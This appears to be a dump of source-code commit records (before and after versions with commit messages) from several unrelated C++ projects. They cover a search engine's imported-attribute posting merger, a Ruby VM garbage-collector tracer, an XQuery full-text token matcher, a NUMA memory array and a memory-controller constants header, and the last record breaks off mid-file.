docIdLimit = reverseMappingRefs.size();\n if (docIdLimit > committedDocIdLimit) {\n docIdLimit = committedDocIdLimit;\n }\n it->initRange(1, docIdLimit);\n for (uint32_t lid = it->seekFirst(1); !it->isAtEnd(); lid = it->seekNext(lid+1)) {\n EntryRef revMapIdx = reverseMappingRefs[lid];\n if (__builtin_expect(revMapIdx.valid(), true)) {\n uint32_t size = reverseMapping.frozenSize(revMapIdx);\n targetResult.sizeSum += size;\n it->doUnpack(lid);\n int32_t weight = matchData.getWeight();\n targetResult.weightedRefs.emplace_back(revMapIdx, weight);\n }\n }\n return targetResult;\n}\n\nvoid\nTargetResult::getResult(ReverseMappingRefs reverseMappingRefs, const ReverseMapping &reverseMapping,\n SearchContext &target_search_context, uint32_t committedDocIdLimit,\n PostingListMerger<int32_t> & merger)\n{\n fef::TermFieldMatchData matchData;\n auto it = target_search_context.createIterator(&matchData, true);\n uint32_t docIdLimit = reverseMappingRefs.size();\n if (docIdLimit > committedDocIdLimit) {\n docIdLimit = committedDocIdLimit;\n }\n it->initRange(1, docIdLimit);\n for (uint32_t lid = it->seekFirst(1); !it->isAtEnd(); lid = it->seekNext(lid+1)) {\n EntryRef revMapIdx = reverseMappingRefs[lid];\n if (__builtin_expect(revMapIdx.valid(), true)) {\n merger.addToBitVector(ReverseMappingBitVector(reverseMapping, revMapIdx));\n }\n }\n}\n\nclass ReverseMappingPostingList\n{\n const ReverseMapping &_reverseMapping;\n EntryRef _revMapIdx;\n int32_t _weight;\npublic:\n ReverseMappingPostingList(const ReverseMapping &reverseMapping, EntryRef revMapIdx, int32_t weight)\n : _reverseMapping(reverseMapping),\n _revMapIdx(revMapIdx),\n _weight(weight)\n {}\n ~ReverseMappingPostingList() { }\n template <typename Func>\n void foreach(Func func) const {\n int32_t weight = _weight;\n _reverseMapping.foreach_frozen_key(_revMapIdx, [func, weight](uint32_t lid) { func(lid, weight); });\n }\n\n};\n\n}\n\nvoid ImportedSearchContext::makeMergedPostings(bool isFilter)\n{\n uint32_t committedTargetDocIdLimit = _target_attribute.getCommittedDocIdLimit();\n std::atomic_thread_fence(std::memory_order_acquire);\n const auto &reverseMapping = _reference_attribute.getReverseMapping();\n if (isFilter) {\n _merger.allocBitVector();\n TargetResult::getResult(_reference_attribute.getReverseMappingRefs(),\n _reference_attribute.getReverseMapping(),\n *_target_search_context, committedTargetDocIdLimit, _merger);\n } else {\n TargetWeightedResult targetResult(TargetWeightedResult::getResult(_reference_attribute.getReverseMappingRefs(),\n _reference_attribute.getReverseMapping(),\n *_target_search_context,\n committedTargetDocIdLimit));\n _merger.reserveArray(targetResult.weightedRefs.size(), targetResult.sizeSum);\n for (const auto &weightedRef : targetResult.weightedRefs) {\n _merger.addToArray(ReverseMappingPostingList(reverseMapping, weightedRef.revMapIdx, weightedRef.weight));\n }\n }\n _merger.merge();\n}\n\nvoid ImportedSearchContext::fetchPostings(bool strict) {\n assert(!_fetchPostingsDone);\n _fetchPostingsDone = true;\n _target_search_context->fetchPostings(strict);\n if (strict || _target_attribute.getConfig().fastSearch()) {\n makeMergedPostings(_target_attribute.getConfig().getIsFilter());\n }\n}\n\nbool ImportedSearchContext::valid() const {\n return _target_search_context->valid();\n}\n\nInt64Range ImportedSearchContext::getAsIntegerTerm() const {\n return _target_search_context->getAsIntegerTerm();\n}\n\nconst QueryTermBase& ImportedSearchContext::queryTerm() const {\n return _target_search_context->queryTerm();\n}\n\nconst vespalib::string& ImportedSearchContext::attributeName() const {\n return _imported_attribute.getName();\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"config.h\"\n#include \"vm.hpp\"\n#include \"state.hpp\"\n\n#include \"memory.hpp\"\n\n#include \"memory\/collector.hpp\"\n#include \"memory\/immix.hpp\"\n#include \"memory\/third_region.hpp\"\n#include \"memory\/tracer.hpp\"\n\n#include \"logger.hpp\"\n\nnamespace rubinius {\n namespace memory {\n void MemoryTracer::trace_heap(STATE) {\n heap_->collect_start(state);\n\n heap_->collect_references(state, [this](STATE, Object** obj){\n trace_object(state, obj);\n });\n\n for(auto i = state->collector()->memory_handles().begin();\n i != state->collector()->memory_handles().end();\n ++i)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n MemoryHandle* handle = header->extended_header()->get_handle();\n\n if(handle->accesses() > 0 || handle->cycles() < 3) {\n if(header->object_p()) {\n Object* obj = reinterpret_cast<Object*>(header);\n\n trace_object(state, &obj);\n \/\/ TODO: MemoryHeader set new address\n } else if(header->data_p()) {\n \/\/ DataHeader* data = reinterpret_cast<DataHeader*>(header);\n \/\/ TODO: process data (not C-API Data) instances\n }\n } else if(handle->rdata_p()) {\n \/\/ TODO: GC investigate why we are retaining these\n Object* obj = reinterpret_cast<Object*>(header);\n\n trace_object(state, &obj);\n \/\/ TODO: MemoryHeader set new address\n }\n\n handle->cycle();\n handle->unset_accesses();\n }\n\n trace_mark_stack(state);\n\n state->memory()->collector()->trace_finalizers(state, this);\n\n trace_mark_stack(state);\n\n for(auto i = state->collector()->references().begin();\n i != state->collector()->references().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(header->referenced() == 0) {\n i = state->collector()->references().erase(i);\n } else {\n ++i;\n }\n }\n\n for(auto i = state->collector()->memory_handles().begin();\n i != state->collector()->memory_handles().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(!header->marked_p(state->memory()->mark())) {\n MemoryHeader* h = *i;\n\n delete h->extended_header()->get_handle();\n\n i = state->collector()->memory_handles().erase(i);\n } else {\n ++i;\n }\n }\n\n for(auto i = state->collector()->weakrefs().begin();\n i != state->collector()->weakrefs().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(!header->marked_p(state->memory()->mark())) {\n i = state->collector()->weakrefs().erase(i);\n } else {\n Object* obj = reinterpret_cast<Object*>(header);\n TypeInfo* ti = state->memory()->type_info[obj->type_id()];\n\n ti->update_weakref(state, obj);\n\n ++i;\n }\n }\n\n heap_->collect_finish(state);\n\n logger::info(\"memory tracer: max recursion: %ld, max mark stack size: %ld\",\n max_recursion_, max_mark_stack_size_);\n }\n\n void MemoryTracer::trace_mark_stack(STATE) {\n while(!mark_stack_.empty()) {\n Object* obj = mark_stack_.get();\n\n trace_object(state, &obj);\n }\n }\n\n void MemoryTracer::mark_object_region(STATE, Object** obj) {\n Object* object = *obj;\n\n switch(object->region()) {\n case eThreadRegion:\n \/\/ TODO: GC\n break;\n case eFirstRegion: {\n Object* copy = state->memory()->main_heap()->first_region()->mark_address_of_object(\n state, nullptr, object, state->memory()->main_heap()->first_region()->allocator());\n\n if(copy != object) *obj = copy;\n\n break;\n }\n case eSecondRegion:\n \/\/ TODO: GC\n break;\n case eThirdRegion:\n \/\/ Do nothing\n break;\n }\n }\n\n void MemoryTracer::trace_object(STATE, Object** obj, size_t recursion_count) {\n Object* object = *obj;\n\n if(!object || !object->reference_p()) return;\n\n if(object->marked_p(state->memory()->mark())) {\n if(object->scanned_p()) return;\n } else {\n mark_object_region(state, obj);\n\n object->set_marked(state->memory()->mark());\n object->unsynchronized_unset_scanned();\n }\n\n if(state->vm()->stack_limit_p(&object)) {\n mark_stack_.add(0, object);\n\n if(mark_stack_.size() > max_mark_stack_size_) {\n max_mark_stack_size_ = mark_stack_.size();\n }\n\n return;\n }\n\n object->unsynchronized_set_scanned();\n\n recursion_count++;\n\n if(recursion_count > max_recursion_) {\n max_recursion_ = recursion_count;\n }\n\n trace_object(state, object->p_klass(), recursion_count);\n trace_object(state, object->p_ivars(), recursion_count);\n\n TypeInfo* ti = state->memory()->type_info[object->type_id()];\n\n ti->mark(state, object, [&](STATE, Object** obj){\n trace_object(state, obj, recursion_count);\n });\n }\n }\n}\n<commit_msg>Use unsynchronized set during GC.<commit_after>#include \"config.h\"\n#include \"vm.hpp\"\n#include \"state.hpp\"\n\n#include \"memory.hpp\"\n\n#include \"memory\/collector.hpp\"\n#include \"memory\/immix.hpp\"\n#include \"memory\/third_region.hpp\"\n#include \"memory\/tracer.hpp\"\n\n#include \"logger.hpp\"\n\nnamespace rubinius {\n namespace memory {\n void MemoryTracer::trace_heap(STATE) {\n heap_->collect_start(state);\n\n heap_->collect_references(state, [this](STATE, Object** obj){\n trace_object(state, obj);\n });\n\n for(auto i = state->collector()->memory_handles().begin();\n i != state->collector()->memory_handles().end();\n ++i)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n MemoryHandle* handle = header->extended_header()->get_handle();\n\n if(handle->accesses() > 0 || handle->cycles() < 3) {\n if(header->object_p()) {\n Object* obj = reinterpret_cast<Object*>(header);\n\n trace_object(state, &obj);\n \/\/ TODO: MemoryHeader set new address\n } else if(header->data_p()) {\n \/\/ DataHeader* data = reinterpret_cast<DataHeader*>(header);\n \/\/ TODO: process data (not C-API Data) instances\n }\n } else if(handle->rdata_p()) {\n \/\/ TODO: GC investigate why we are retaining these\n Object* obj = reinterpret_cast<Object*>(header);\n\n trace_object(state, &obj);\n \/\/ TODO: MemoryHeader set new address\n }\n\n handle->cycle();\n handle->unset_accesses();\n }\n\n trace_mark_stack(state);\n\n state->memory()->collector()->trace_finalizers(state, this);\n\n trace_mark_stack(state);\n\n for(auto i = state->collector()->references().begin();\n i != state->collector()->references().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(header->referenced() == 0) {\n i = state->collector()->references().erase(i);\n } else {\n ++i;\n }\n }\n\n for(auto i = state->collector()->memory_handles().begin();\n i != state->collector()->memory_handles().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(!header->marked_p(state->memory()->mark())) {\n MemoryHeader* h = *i;\n\n delete h->extended_header()->get_handle();\n\n i = state->collector()->memory_handles().erase(i);\n } else {\n ++i;\n }\n }\n\n for(auto i = state->collector()->weakrefs().begin();\n i != state->collector()->weakrefs().end();)\n {\n MemoryHeader* header = reinterpret_cast<MemoryHeader*>(*i);\n\n if(!header->marked_p(state->memory()->mark())) {\n i = state->collector()->weakrefs().erase(i);\n } else {\n Object* obj = reinterpret_cast<Object*>(header);\n TypeInfo* ti = state->memory()->type_info[obj->type_id()];\n\n ti->update_weakref(state, obj);\n\n ++i;\n }\n }\n\n heap_->collect_finish(state);\n\n logger::info(\"memory tracer: max recursion: %ld, max mark stack size: %ld\",\n max_recursion_, max_mark_stack_size_);\n }\n\n void MemoryTracer::trace_mark_stack(STATE) {\n while(!mark_stack_.empty()) {\n Object* obj = mark_stack_.get();\n\n trace_object(state, &obj);\n }\n }\n\n void MemoryTracer::mark_object_region(STATE, Object** obj) {\n Object* object = *obj;\n\n switch(object->region()) {\n case eThreadRegion:\n \/\/ TODO: GC\n break;\n case eFirstRegion: {\n Object* copy = state->memory()->main_heap()->first_region()->mark_address_of_object(\n state, nullptr, object, state->memory()->main_heap()->first_region()->allocator());\n\n if(copy != object) *obj = copy;\n\n break;\n }\n case eSecondRegion:\n \/\/ TODO: GC\n break;\n case eThirdRegion:\n \/\/ Do nothing\n break;\n }\n }\n\n void MemoryTracer::trace_object(STATE, Object** obj, size_t recursion_count) {\n Object* object = *obj;\n\n if(!object || !object->reference_p()) return;\n\n if(object->marked_p(state->memory()->mark())) {\n if(object->scanned_p()) return;\n } else {\n mark_object_region(state, obj);\n\n object->unsynchronized_set_marked(state->memory()->mark());\n object->unsynchronized_unset_scanned();\n }\n\n if(state->vm()->stack_limit_p(&object)) {\n mark_stack_.add(0, object);\n\n if(mark_stack_.size() > max_mark_stack_size_) {\n max_mark_stack_size_ = mark_stack_.size();\n }\n\n return;\n }\n\n object->unsynchronized_set_scanned();\n\n recursion_count++;\n\n if(recursion_count > max_recursion_) {\n max_recursion_ = recursion_count;\n }\n\n trace_object(state, object->p_klass(), recursion_count);\n trace_object(state, object->p_ivars(), recursion_count);\n\n TypeInfo* ti = state->memory()->type_info[object->type_id()];\n\n ti->mark(state, object, [&](STATE, Object** obj){\n trace_object(state, obj, recursion_count);\n });\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cctype>\n\n#include \"compiler\/expression\/ftnode.h\"\n#include \"util\/stl_util.h\"\n\n#include \"ft_stop_words_set.h\"\n#include \"ft_token_matcher.h\"\n#include \"ft_util.h\"\n#include \"ft_wildcard.h\"\n\nusing namespace std;\nusing namespace zorba::locale;\n\nnamespace zorba {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline bool get_diacritics_insensitive( ftmatch_options const &options ) {\n if ( ftdiacritics_option const *const d = options.get_diacritics_option() )\n return d->get_mode() == ft_diacritics_mode::insensitive;\n return false;\n}\n\ninline bool get_stemming( ftmatch_options const &options ) {\n if ( ftstem_option const *const s = options.get_stem_option() )\n return s->get_mode() == ft_stem_mode::with;\n return false;\n}\n\ninline ft_stop_words_set const* get_stop_words( ftmatch_options const &options,\n iso639_1::type lang ) {\n if ( ftstop_word_option const *const sw = options.get_stop_word_option() )\n return ft_stop_words_set::construct( *sw, lang );\n return NULL;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nft_token_matcher::ft_token_matcher( ftmatch_options const &options ) :\n case_option_( options.get_case_option() ),\n diacritics_insensitive_( get_diacritics_insensitive( options ) ),\n lang_( get_lang_from( &options ) ),\n stemming_( get_stemming( options ) ),\n stop_words_( get_stop_words( options, lang_ ) ),\n wildcards_( get_wildcards_from( &options ) )\n{\n}\n\nft_token_matcher::~ft_token_matcher() {\n delete stop_words_;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ft_token_matcher::match( FTToken const &dt, FTToken const &qt ) const {\n int dt_selector = FTToken::original;\n int qt_selector = FTToken::original;\n\n if ( stop_words_ ) {\n \/\/\n \/\/ Perform stop-word comparison early so as not to waste time doing the\n \/\/ stuff below for stop-words.\n \/\/\n \/\/ Perform stop-word comparison case-insensitively. Note, however, that\n \/\/ the XQuery Full Text spec currently isn't clear on whether this should\n \/\/ be done case-insensitively. See W3C Bug 9858.\n \/\/\n if ( stop_words_->contains( qt.value( FTToken::lower ) ) )\n return true;\n }\n\n if ( case_option_ ) {\n switch ( case_option_->get_mode() ) {\n case ft_case_mode::insensitive:\n dt_selector |= FTToken::lower;\n qt_selector |= FTToken::lower;\n break;\n case ft_case_mode::sensitive:\n \/\/ do nothing\n break;\n case ft_case_mode::lower:\n qt_selector |= FTToken::lower;\n break;\n case ft_case_mode::upper:\n qt_selector |= FTToken::upper;\n break;\n }\n }\n\n if ( stemming_ ) {\n dt_selector |= FTToken::stem;\n qt_selector |= FTToken::stem;\n }\n\n if ( diacritics_insensitive_ ) {\n dt_selector |= FTToken::ascii;\n qt_selector |= FTToken::ascii;\n }\n\n if ( wildcards_ ) {\n return dt.value( dt_selector ) == qt.wildcard( qt_selector );\n }\n\n return dt.value( dt_selector, lang_ ) == qt.value( qt_selector, lang_ );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<commit_msg>Comment clarification.<commit_after>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cctype>\n\n#include \"compiler\/expression\/ftnode.h\"\n#include \"util\/stl_util.h\"\n\n#include \"ft_stop_words_set.h\"\n#include \"ft_token_matcher.h\"\n#include \"ft_util.h\"\n#include \"ft_wildcard.h\"\n\nusing namespace std;\nusing namespace zorba::locale;\n\nnamespace zorba {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline bool get_diacritics_insensitive( ftmatch_options const &options ) {\n if ( ftdiacritics_option const *const d = options.get_diacritics_option() )\n return d->get_mode() == ft_diacritics_mode::insensitive;\n return false;\n}\n\ninline bool get_stemming( ftmatch_options const &options ) {\n if ( ftstem_option const *const s = options.get_stem_option() )\n return s->get_mode() == ft_stem_mode::with;\n return false;\n}\n\ninline ft_stop_words_set const* get_stop_words( ftmatch_options const &options,\n iso639_1::type lang ) {\n if ( ftstop_word_option const *const sw = options.get_stop_word_option() )\n return ft_stop_words_set::construct( *sw, lang );\n return NULL;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nft_token_matcher::ft_token_matcher( ftmatch_options const &options ) :\n case_option_( options.get_case_option() ),\n diacritics_insensitive_( get_diacritics_insensitive( options ) ),\n lang_( get_lang_from( &options ) ),\n stemming_( get_stemming( options ) ),\n stop_words_( get_stop_words( options, lang_ ) ),\n wildcards_( get_wildcards_from( &options ) )\n{\n}\n\nft_token_matcher::~ft_token_matcher() {\n delete stop_words_;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ft_token_matcher::match( FTToken const &dt, FTToken const &qt ) const {\n int dt_selector = FTToken::original;\n int qt_selector = FTToken::original;\n\n if ( stop_words_ ) {\n \/\/\n \/\/ Perform stop-word comparison early so as not to waste time doing the\n \/\/ stuff below for stop-words.\n \/\/\n \/\/ Perform stop-word comparison case-insensitively. Note, however, that\n \/\/ the XQuery Full Text spec currently isn't clear on whether this should\n \/\/ be done case-insensitively.\n \/\/\n \/\/ See also: http:\/\/www.w3.org\/Bugs\/Public\/show_bug.cgi?id=9858\n \/\/\n if ( stop_words_->contains( qt.value( FTToken::lower ) ) )\n return true;\n }\n\n if ( case_option_ ) {\n switch ( case_option_->get_mode() ) {\n case ft_case_mode::insensitive:\n dt_selector |= FTToken::lower;\n qt_selector |= FTToken::lower;\n break;\n case ft_case_mode::sensitive:\n \/\/ do nothing\n break;\n case ft_case_mode::lower:\n qt_selector |= FTToken::lower;\n break;\n case ft_case_mode::upper:\n qt_selector |= FTToken::upper;\n break;\n }\n }\n\n if ( stemming_ ) {\n dt_selector |= FTToken::stem;\n qt_selector |= FTToken::stem;\n }\n\n if ( diacritics_insensitive_ ) {\n dt_selector |= FTToken::ascii;\n qt_selector |= FTToken::ascii;\n }\n\n if ( wildcards_ ) {\n return dt.value( dt_selector ) == qt.wildcard( qt_selector );\n }\n\n return dt.value( dt_selector, lang_ ) == qt.value( qt_selector, lang_ );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Open Connectome Project (http:\/\/openconnecto.me)\n * Written by Da Zheng (zhengda1936@gmail.com)\n *\n * This file is part of FlashMatrix.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <numa.h>\n\n#include \"raw_data_array.h\"\n\nnamespace fm\n{\n\nnamespace detail\n{\n\nnamespace\n{\n\nclass deleter\n{\n\tsize_t size;\npublic:\n\tdeleter(size_t size) {\n\t\tthis->size = size;\n\t}\n\n\tvoid operator()(char *addr) {\n\t\tnuma_free(addr, size);\n\t}\n};\n\n}\n\nraw_data_array::raw_data_array(size_t num_bytes, int node_id)\n{\n\tthis->num_bytes = num_bytes;\n\tvoid *addr = numa_alloc_onnode(num_bytes, node_id);\n\tdata = std::shared_ptr<char>((char *) addr, deleter(num_bytes));\n\tstart = data.get();\n\tnum_used_bytes = num_bytes;\n}\n\n}\n\n}\n<commit_msg>[Matrix]: fix a bug in raw_data_array.<commit_after>\/*\n * Copyright 2014 Open Connectome Project (http:\/\/openconnecto.me)\n * Written by Da Zheng (zhengda1936@gmail.com)\n *\n * This file is part of FlashMatrix.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <numa.h>\n\n#include \"raw_data_array.h\"\n\nnamespace fm\n{\n\nnamespace detail\n{\n\nnamespace\n{\n\nclass deleter\n{\n\tsize_t size;\npublic:\n\tdeleter(size_t size) {\n\t\tthis->size = size;\n\t}\n\n\tvoid operator()(char *addr) {\n\t\tnuma_free(addr, size);\n\t}\n};\n\n}\n\nraw_data_array::raw_data_array(size_t num_bytes, int node_id)\n{\n\tthis->node_id = node_id;\n\tthis->num_bytes = num_bytes;\n\tvoid *addr = numa_alloc_onnode(num_bytes, node_id);\n\tdata = std::shared_ptr<char>((char *) addr, deleter(num_bytes));\n\tstart = data.get();\n\tnum_used_bytes = num_bytes;\n}\n\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/lib\/shared\/exp_consts.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file explorer_check_for_ready.H\n\/\/\/ @brief explorer_check_for_ready HWP declaration\n\/\/\/\n\/\/ *HWP HWP Owner: Andre A. Marin <aamarin@us.ibm.com>\n\/\/ *HWP HWP Backup: Louis Stermole <stermole@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: CI\n\n#ifndef EXP_CONSTS_H\n#define EXP_CONSTS_H\n\nnamespace mss\n{\nnamespace exp\n{\n\nconstexpr uint32_t OCMB_ADDR_SHIFT = 3;\n\n\/\/\/\n\/\/\/ @brief explorer ffdc codes\n\/\/\/\nenum ffdc_codes\n{\n EXP_I2C_GET_FIELD = 0x0000,\n EXP_I2C_SET_FIELD = 0x0001,\n READ_HOST_FW_RESPONSE_STRUCT = 0x0003,\n READ_SENSOR_CACHE_STRUCT = 0x0004,\n};\n\nnamespace i2c\n{\n\n\/\/\/ @brief List of explorer I2C commands\n\/\/\/\nenum cmd_id : uint8_t\n{\n FW_BOOT_CONFIG = 0x01,\n FW_STATUS = 0x02,\n FW_REG_ADDR_LATCH = 0x03,\n FW_REG_READ = 0x04,\n FW_REG_WRITE = 0x05,\n FW_DOWNLOAD = 0x06,\n FW_CONT_REG_READ = 0x07,\n FW_CONT_REG_WRITE = 0x08,\n};\n\n\/\/\/\n\/\/\/ @brief common explorer sizes\n\/\/\/\nenum sizes\n{\n \/\/ 32-bit commands\n FW_BOOT_CONFIG_BYTE_LEN = 4,\n FW_STATUS_BYTE_LEN = 4,\n\n FW_WRITE_REG_DATA_SIZE = 0x08,\n FW_REG_ADDR_LATCH_SIZE = 0x04,\n FW_I2C_SCOM_READ_SIZE = 0x05,\n\n \/\/ Largest R\/W length for bytes of data\n MIN_DATA_BYTES_LEN = 1,\n MAX_DATA_BYTES_LEN = 32,\n};\n\n\/\/\/\n\/\/\/ @brief General I2C status codes\n\/\/\/ @note Shared I2C status codes for EXP_FW_REG_READ, EXP_FW_REG_WRITE,\n\/\/\/ EXP_FW_CONT_REG_READ, and EXP_FW_CONT_REG_WRITE\n\/\/\/\nenum status_codes\n{\n SUCCESS = 0x00,\n ADDRESS_OUT_OF_RANGE = 0x01,\n ADDRESS_PROHIBITED = 0x02,\n};\n\n\/\/\/\n\/\/\/ @brief status codes for FW_BOOT_CONFIG\n\/\/\/\nenum fw_boot_cfg_status\n{\n FW_BOOT_CFG_SUCCESS = status_codes::SUCCESS,\n\n \/\/ Loopback fail\n FW_BOOT_CFG_LB_FAIL = 0x01,\n \/\/ Transport layer fail\n FW_BOOT_CFG_UNSUPPORTED_TL = 0x02,\n \/\/ DL (data link) layer fail\n FW_BOOT_CFG_UNSUPPORTED_DL = 0x03,\n \/\/ SERDES (serializer\/deserializer) FREQ fail\n FW_BOOT_CFG_UNSUPPORTED_SERDES_FREQ = 0x04,\n};\n\n\/\/\/\n\/\/\/ @brief I2C boot stage options\n\/\/\/ @note certain cmds work in certain boot stages\n\/\/\/\nenum boot_stages\n{\n BOOT_ROM_STAGE = 0x01,\n FW_UPGRADE_MODE = 0x02,\n RUNTIME_FW = 0x03,\n};\n\n\/\/\/\n\/\/\/ @brief Useful constants for i2c scom functionality\n\/\/\/\n\/\/\/ @note FIRST_BYTE_MASK = allows us to mask off first by of\n\/\/\/ an address to check if its an IBM SCOM\n\/\/\/ LAST_THREE_BYTES_MASK = used as part of formula to translate\n\/\/\/ a given address to an IBM scom address\n\/\/\/ OCBM_UNCACHED_OFFSET = Also used as part of formula for translating\n\/\/\/ a given address to the correct IBM or microchip form\n\/\/\/ IBM_SCOM_OFFSET_LHS and IBM_SCOM_OFFSET_RHS are used in formula\n\/\/\/ for calculating IBM scom address for left and right side of addr\n\/\/\/ IBM_SCOM_INDICATOR is the indicator bit in the first byte of an\n\/\/\/ address that tells us if it is a IBM scom or not\n\/\/\/\nenum i2c_scom_consts : uint32_t\n{\n FIRST_BYTE_MASK = 0xFF000000,\n LAST_THREE_BYTES_MASK = 0x00FFFFFF,\n OCMB_UNCACHED_OFFSET = 0xA0000000,\n IBM_SCOM_OFFSET_LHS = 0x08000000,\n IBM_SCOM_OFFSET_RHS = 0x08000004,\n IBM_SCOM_INDICATOR = IBM_SCOM_OFFSET_LHS,\n};\n\n\/\/\/\n\/\/\/ @brief Simple enum allows code to pick between left and right\n\/\/\/\n\/\/\/ This is used when deciding if we are writing\/reading from left\n\/\/\/ side of IBM address or right side. This is needed because IBM\n\/\/\/ scoms are 64 bits while the OCMB only has 32 bit regs.\nenum addrSide\n{\n LHS = 0x00,\n RHS = 0x01\n};\n\n\n}\/\/ i2c\n}\/\/ exp\n}\/\/ 